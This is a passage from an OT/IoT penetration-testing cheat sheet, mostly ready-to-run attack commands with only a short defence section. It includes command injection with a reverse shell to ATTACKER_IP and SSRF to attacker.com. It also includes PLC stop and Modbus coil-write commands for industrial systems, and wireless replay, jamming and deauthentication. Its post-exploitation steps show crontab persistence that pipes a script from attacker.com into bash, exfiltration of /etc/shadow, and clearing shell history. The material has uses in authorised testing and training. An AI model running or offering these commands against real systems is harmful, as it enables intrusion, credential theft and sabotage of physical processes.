credentials\nadmin/1234\nadmin/admin\n```\n\n**Exploitation:**\n```bash\n# Directory traversal (CVE-2017-16744)\ncurl \"http://target_ip:1234/../../windows/system.ini\"\n\n# Buffer overflow (CVE-2017-16743)\npython3 -c \"\nimport socket\ns = socket.socket()\ns.connect(('target_ip', 1234))\npayload = 'A' * 5000\ns.send(payload)\n\"\n```\n\n---\n\n## IoT Device Exploitation Methodology\n\n### **Firmware Analysis**\n\n**Initial Analysis:**\n```bash\n# Identify file type\nfile firmware.bin\n\n# Extract strings\nstrings firmware.bin | head -100\nstrings -n 8 firmware.bin > strings.txt\nstrings -tx firmware.bin | grep -i \"password\\|admin\\|root\"\n\n# Check entropy\nbinwalk -E firmware.bin\n\n# List embedded files\nbinwalk firmware.bin\n\n# Extract file system\nbinwalk -e firmware.bin\n```\n\n**Advanced Analysis:**\n```bash\n# Using FACT (Firmware Analysis and Comparison Tool)\ncd /opt/fact\nsudo python3 -m fact.firmware firmware.bin\n\n# Using EMBBA\nsudo ./emba.sh -f firmware.bin -l ./logs -p ./scan-profiles/default\n\n# Using Firmware Analysis Toolkit (FAT)\nsudo python3 ./fat.py firmware.bin --qemu 2.5.0\n\n# Extract with fmk\n./extract-firmware.sh firmware.bin\n```\n\n**Filesystem Examination:**\n```bash\n# Mount extracted filesystem\nsudo mount -o loop extracted.squashfs /mnt/firmware\n\n# Search for sensitive files\nfind /mnt/firmware -type f -name \"*.pem\" -o -name \"*.key\" -o -name \"*password*\"\nfind /mnt/firmware -type f -exec grep -l \"password\" {} \\;\nfind /mnt/firmware -type f -perm -4000  # SUID files\n\n# Check configuration files\ncat /mnt/firmware/etc/passwd\ncat /mnt/firmware/etc/shadow\ncat /mnt/firmware/etc/config/*\n```\n\n### **Hardware Interfaces Exploitation**\n\n#### **UART (Universal Asynchronous Receiver-Transmitter)**\n\n**Identification:**\n```bash\n# Look for 4 pins: VCC, GND, TX, RX\n# Use multimeter to identify:\n# GND: 0V continuous\n# VCC: 3.3V or 5V\n# TX: Fluctuating voltage\n# RX: Steady voltage\n\n# Common baud rates: 115200, 9600, 57600, 38400\n```\n\n**Connection & Exploitation:**\n```bash\n# Using screen\nscreen /dev/ttyUSB0 115200\n\n# Using minicom\nminicom -D /dev/ttyUSB0 -b 115200\n\n# Using cu\ncu -l /dev/ttyUSB0 -s 115200\n\n# Common commands once connected:\n# Interrupt boot process (Ctrl+C, Ctrl+Z, Enter)\n# Check for bootloader prompt (U-Boot, RedBoot)\n# Access shell\n```\n\n**Bootloader Exploitation:**\n```bash\n# U-Boot common commands\nprintenv  # Show environment variables\nsetenv bootargs \"console=ttyS0,115200 init=/bin/sh\"  # Change init\nsaveenv  # Save changes\nboot  # Continue booting\n\n# RedBoot commands\nfis list  # List flash partitions\nload -r -b 0x80000000 firmware.bin  # Load new firmware\nfis create rootfs  # Write to flash\n```\n\n#### **JTAG (Joint Test Action Group)**\n\n**Identification:**\n```bash\n# Look for 20-pin or 10-pin connector\n# Common pinouts:\n# TDI, TDO, TCK, TMS, TRST, VREF, GND\n\n# Using OpenOCD for detection\nopenocd -f interface/jlink.cfg -c \"transport select jtag\" -c \"adapter_khz 1000\" -c \"init\"\n```\n\n**Exploitation with OpenOCD:**\n```bash\n# Start OpenOCD server\nopenocd -f interface/jlink.cfg -f target/arm7tdmi.cfg\n\n# Connect with telnet\ntelnet localhost 4444\n\n# Common commands:\n> halt  # Stop CPU\n> reg  # Show registers\n> mdw 0x00000000 10  # Read memory\n> mww 0x00000000 0xdeadbeef  # Write memory\n> load_image firmware.bin 0x80000000  # Load firmware\n> resume  # Continue execution\n```\n\n**GDB Debugging:**\n```bash\n# Connect GDB to OpenOCD\narm-none-eabi-gdb firmware.elf\n(gdb) target remote localhost:3333\n(gdb) monitor halt\n(gdb) info registers\n(gdb) break main\n(gdb) continue\n```\n\n#### **SWD (Serial Wire Debug)**\n\n**Connection:**\n```bash\n# 4 pins: SWDIO, SWCLK, GND, VREF\nopenocd -f interface/stlink-v2.cfg -c \"transport select swd\" -f target/stm32f1x.cfg\n```\n\n**Dumping Flash:**\n```bash\n# In OpenOCD telnet\n> dump_image flash.bin 0x08000000 0x10000  # Dump 64KB\n\n# Using pyOCD\npyocd-flashtool -t stm32f103 -ce  # Chip erase\npyocd-flashtool -t stm32f103 -r flash.bin  # Read flash\n```\n\n#### **SPI (Serial Peripheral Interface)**\n\n**Sniffing with Bus Pirate:**\n```bash\n# Connect: MOSI, MISO, CLK, CS\n# Initialize\nm  # Set mode\n5  # SPI\n4  # 30kHz\n1  # Output type\nW  # Power supplies on\n\n# Sniff traffic\n(1)  # Start sniff\n(1)  # Stop sniff\n```\n\n**Flash Dumping:**\n```bash\n# Using flashrom\nflashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin\n\n# Using SPI with Arduino\n# Use SPI library to read/write flash chips\n```\n\n#### **I2C (Inter-Integrated Circuit)**\n\n**Enumeration:**\n```bash\n# Scan for devices\ni2cdetect -y 1  # Raspberry Pi\ni2cdetect -y 0  # Other boards\n\n# Read from device\ni2cget -y 1 0x50 0x00  # Read byte from address 0x50\ni2cdump -y 1 0x50  # Dump all registers\n\n# Write to device\ni2cset -y 1 0x50 0x00 0xFF  # Write byte\n```\n\n**EEPROM Dumping:**\n```bash\n# Dump entire EEPROM\ndd if=/sys/bus/i2c/devices/1-0050/eeprom of=eeprom.bin\n\n# Using flashrom\nflashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r eeprom.bin\n```\n\n### **Wireless Protocol Attacks**\n\n#### **Zigbee/Z-Wave**\n\n**Sniffing with KillerBee:**\n```bash\n# List devices\nsudo zbid\n\n# Sniff traffic\nsudo zbwireshark  # GUI\nsudo zbdump -i /dev/ttyUSB0 -w capture.pcap  # CLI\n\n# Capture specific channel\nsudo zbdump -i /dev/ttyUSB0 -c 15 -w channel15.pcap\n\n# Replay attack\nsudo zbreplay -i /dev/ttyUSB0 -r capture.pcap -f 1\n\n# Packet injection\nsudo zbinject -i /dev/ttyUSB0 -c 15 -p \"malicious_packet\"\n```\n\n**Exploitation:**\n```bash\n# Crack network key\nsudo zbgoodfind -r capture.pcap\n\n# De-authentication attack\nsudo zbstumbler -i /dev/ttyUSB0\n\n# Key extraction from devices\n# Requires physical access to extract keys from chips\n```\n\n#### **Bluetooth Low Energy (BLE)**\n\n**Discovery:**\n```bash\n# Scan for devices\nsudo hcitool lescan\nsudo bluetoothctl scan on\n\n# Get device info\nsudo hcitool leinfo MAC_ADDRESS\n```\n\n**GATT Enumeration:**\n```bash\n# Using gatttool\ngatttool -b MAC_ADDRESS -I\n[CONNECTED]> primary\n[CONNECTED]> characteristics\n[CONNECTED]> char-read-hnd 0x000c\n```\n\n**Exploitation with GATTacker:**\n```bash\n# Clone BLE device\nnode clone.js MAC_ADDRESS\n\n# MITM attack\nnode advertise.js -s \"Spoofed Device\"\n\n# Fuzzing\npython3 ble_fuzzer.py -t MAC_ADDRESS\n```\n\n#### **LPWAN (LoRaWAN, Sigfox)**\n\n**LoRaWAN Sniffing:**\n```bash\n# Using gr-lora\ngnuradio-companion  # Use LoRa receiver flowgraph\n\n# Using SDR with Lorawan decoder\nrtl_sdr -f 868000000 -s 1000000 -g 40 - | lorawan-decoder\n\n# Capture packets\nsudo tshark -i lo -Y \"lorawan\" -w lorawan.pcap\n```\n\n**Replay Attacks:**\n```bash\n# Record transmission\nrtl_sdr -f 868000000 -s 1000000 -g 40 capture.bin\n\n# Replay with HackRF\nhackrf_transfer -t capture.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n**Jamming:**\n```bash\n# Generate noise\nhackrf_transfer -t noise.bin -f 868000000 -s 1000000 -a 1 -x 40\n```\n\n#### **Wi-Fi Attacks on IoT**\n\n**De-authentication:**\n```bash\n# Using aireplay-ng\naireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon\n\n# Using mdk4\nmdk4 wlan0mon d -b blacklist.txt -c 1\n```\n\n**WPA2 Enterprise Attacks:**\n```bash\n# EAP attack with hostapd-wpe\nhostapd-wpe hostapd-wpe.conf\n\n# Capture credentials\nasleap -r capture.cap -f wordlist.txt\n```\n\n**WPS PIN Attacks:**\n```bash\n# Using Reaver\nreaver -i wlan0mon -b AP_MAC -vv\n\n# Using bully\nbully wlan0mon -b AP_MAC -p 12345670\n```\n\n### **Web Interface & API Attacks**\n\n**Default Credentials:**\n```bash\n# Common IoT defaults\nadmin/admin\nadmin/password\nroot/root\nuser/user\nsupport/support\ntechnician/technician\n\n# Manufacturer-specific\nCisco/Cisco\nD-Link/admin\nNetgear/password\nTP-Link/admin\nUbiquiti/ubnt\n```\n\n**Directory Enumeration:**\n```bash\n# Using Gobuster\ngobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt \\\n-x php,html,txt,cgi,bin,sh\n\n# Using Dirb\ndirb http://target_ip /usr/share/wordlists/dirb/common.txt\n\n# Using FFuF\nffuf -u http://target_ip/FUZZ -w wordlist.txt\n```\n\n**API Testing:**\n```bash\n# Discover endpoints\ncurl http://target_ip/api/v1/\ncurl http://target_ip/rest/\ncurl http://target_ip/webservices/\n\n# Fuzz parameters\nwfuzz -c -z file,wordlist.txt --hc 404 http://target_ip/api/FUZZ\n\n# Test for injection\ncurl \"http://target_ip/api/control?device=1;ls\"\ncurl -X POST http://target_ip/api/config -d \"data=alert(1)\"\n```\n\n### **Common IoT Vulnerabilities**\n\n**Command Injection:**\n```bash\n# Test for command injection\ncurl \"http://target_ip/ping?ip=127.0.0.1;whoami\"\ncurl \"http://target_ip/ping?ip=127.0.0.1||id\"\ncurl \"http://target_ip/ping?ip=127.0.0.1&&cat /etc/passwd\"\n\n# Reverse shell\ncurl \"http://target_ip/ping?ip=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"\n```\n\n**Path Traversal:**\n```bash\ncurl \"http://target_ip/../../etc/passwd\"\ncurl \"http://target_ip/%2e%2e/%2e%2e/etc/passwd\"\ncurl \"http://target_ip/..%2f..%2fetc%2fpasswd\"\n```\n\n**Insecure Direct Object Reference:**\n```bash\n# Bypass authorization\ncurl \"http://target_ip/api/user/1\"  # Try 2, 3, etc.\ncurl \"http://target_ip/api/device/100/config\"\n```\n\n**XML External Entity (XXE):**\n```bash\ncurl -X POST http://target_ip/api/config \\\n-H \"Content-Type: application/xml\" \\\n-d '\n ]>\n&xxe;'\n```\n\n**Server-Side Request Forgery (SSRF):**\n```bash\ncurl \"http://target_ip/proxy?url=http://169.254.169.254/latest/meta-data/\"\ncurl \"http://target_ip/proxy?url=file:///etc/passwd\"\ncurl \"http://target_ip/proxy?url=gopher://attacker.com:80/_GET%20/internal\"\n```\n\n---\n\n## OT/IoT Security Assessment Methodology\n\n### **Phase 1: Reconnaissance**\n\n```bash\n# 1. Passive reconnaissance\n# Use Shodan, Censys, ZoomEye\nshodan search \"SCADA country:US\"\ncensys search \"services.service_name: MODBUS\"\n\n# 2. Active scanning\nnmap -sS -p 1-65535 -T4 -A -v target\nmasscan -p1-65535 target --rate=1000\n\n# 3. Protocol identification\nnmap --script banner -p- target\n```\n\n### **Phase 2: Enumeration**\n\n```bash\n# 1. Service enumeration\nnmap -sV -sC -p 102,502,20000,44818 target\n\n# 2. Web enumeration\ngobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt\n\n# 3. SNMP enumeration\nsnmpwalk -c public -v1 target\nsnmp-check target -c public\n```\n\n### **Phase 3: Vulnerability Assessment**\n\n```bash\n# 1. Protocol-specific testing\npython3 modscan.py -t target -p 502\npython3 s7scan.py -t target\n\n# 2. Web vulnerability scanning\nnikto -h http://target\nwapiti -u http://target\n\n# 3. Credential testing\nhydra -L users.txt -P passwords.txt target ssh\nhydra -L users.txt -P passwords.txt http-post-form \"/login.php:user=^USER^&pass=^PASS^:F=incorrect\"\n```\n\n### **Phase 4: Exploitation**\n\n```bash\n# 1. Protocol exploitation\n# Modbus write coil\nmbtget -a 1 -f 0 -c 1 -v 1 -p 502 target\n\n# S7 stop CPU\npython3 -c \"import snap7; client = snap7.client.Client(); client.connect('target', 0, 1); client.plc_stop()\"\n\n# 2. Web exploitation\n# Command injection\ncurl \"http://target/ping?ip=127.0.0.1;whoami\"\n\n# 3. Hardware exploitation\n# UART shell access\nscreen /dev/ttyUSB0 115200\n```\n\n### **Phase 5: Post-Exploitation**\n\n```bash\n# 1. Establish persistence\necho \"*/5 * * * * curl http://attacker.com/shell.sh | bash\" >> /etc/crontab\n\n# 2. Lateral movement\n# Scan internal network\nnmap -sn 192.168.1.0/24\n\n# 3. Data exfiltration\ntar czf data.tar.gz /etc/passwd /etc/shadow\ncurl -X POST -F \"file=@data.tar.gz\" http://attacker.com/upload\n```\n\n### **Phase 6: Reporting**\n\n```bash\n# 1. Document findings\n# Create detailed report with:\n# - Vulnerabilities found\n# - Risk assessment\n# - Proof of concept\n# - Remediation recommendations\n\n# 2. Clean up\n# Remove tools, logs, backdoors\nrm -rf /tmp/malware\nhistory -c\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Segmentation**\n\n```bash\n# Implement firewall rules\n# Example iptables rules for OT network\niptables -A INPUT -p tcp --dport 502 -s 10.0.1.0/24 -j ACCEPT\niptables -A INPUT -p tcp --dport 502 -j DROP\n\n# VLAN segmentation\n# Separate OT from IT network\nvlan 10\n name OT_NETWORK\nvlan 20\n name IT_NETWORK\n```\n\n### **Access Control**\n\n```bash\n# Strong authentication\n# Use certificate-based authentication for critical systems\nopenssl req -new -newkey rsa:2048 -days 365 -nodes -x509 \\\n-keyout ot_key.pem -out ot_cert.pem\n\n# Role-based access control\n# Implement least privilege principle\n```\n\n### **Monitoring & Detection**\n\n```bash\n# Network monitoring\n# Use tools like Security Onion, Wazuh\nsuricata -c /etc/suricata/suricata.yaml -i eth0\n\n# Anomaly detection\n# Monitor for abnormal protocol behavior\n# Alert on: Unusual write commands, out-of-range values, etc.\n```\n\n### **Secure Configuration**\n\n```bash\n# Change default credentials\n# Disable unnecessary services\n# Regular patching (where possible)\n# Network segmentation\n# Logging and monitoring\n```\n\n### **Incident Response**\n\n```bash\n# IR Plan for OT systems\n1. Immediate isolation\n2. Assess impact on physical processes\n3. Preserve forensic evidence\n4. Coordinate with operations team\n5. System restoration with integrity checks\n```\n\n---\n\n## Tools & Resources\n\n### **Essential OT/IoT Security Tools**\n\n| Category | Tools |\n|----------|-------|\n| **Network Scanning** | Nmap, Masscan, ZMap |\n| **Protocol Analysis** | Wireshark, tcpdump, Scapy |\n| **ICS Protocols** | modscan, s7scan, dnp3-map, enip-tools |\n| **Firmware Analysis** | Binwalk, FACT, EMBBA, FAT |\n| **Hardware Tools** | JTAGulator, Bus Pirate, Shikra, ChipWhisperer |\n| **Wireless** | KillerBee, Ubertooth, HackRF, RTL-SDR |\n| **Exploitation** | Metasploit, Cobalt Strike, Empire |\n| **Vulnerability Scanners** | Nessus, OpenVAS, Nikto |\n\n### **Online Resources**\n\n```bash\n# Shodan filters for OT\n\"port:502\" \"country:US\"\n\"SCADA\" \"port:102\"\n\"Modbus\" \"port:502\"\n\n# Censys queries\nservices.service_name: \"MODBUS\"\n443.https.tls.certificate.parsed.names: \"scada\"\n```\n---\n\n## Quick Reference Commands\n\n### **OT Protocol Discovery**\n```bash\n# Quick OT scan\nnmap -sS -p 102,502,20000,44818,47808,34962-34964 -oA ot_scan target\n\n# Modbus check\nnc -zv target 502\necho -ne \"\\x00\\x01\\x00\\x00\\x00\\x06\\x01\\x03\\x00\\x00\\x00\\x01\" | nc target 502 | hexdump -C\n\n# S7 check\nnc -zv target 102\n```\n\n### **Common Exploitation**\n```bash\n# Modbus write coil (turn on)\npython3 -c \"\nfrom pymodbus.client import ModbusTcpClient\nclient = ModbusTcpClient('target', port=502)\nclient.write_coil(0, True)\n\"\n\n# VNC brute force\nhydra -L admin -P rockyou.txt -s 5900 -f -vV target vnc\n\n# RDP connection\nxfreerdp /u:administrator /p:Password123 /v:target /cert-ignore\n```\n\n### **Hardware Access**\n```bash\n# UART connection\nscreen /dev/ttyUSB0 115200\n\n# JTAG debugging\nopenocd -f interface/jlink.cfg -f target/stm32f1x.cfg\ntelnet localhost 4444\n```\n\n### **Firmware Analysis**\n```bash\n# Quick analysis\nbinwalk firmware.bin\nstrings firmware.bin | grep -i \"password\\|admin\\|root\"\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:24:58.543002Z"}]}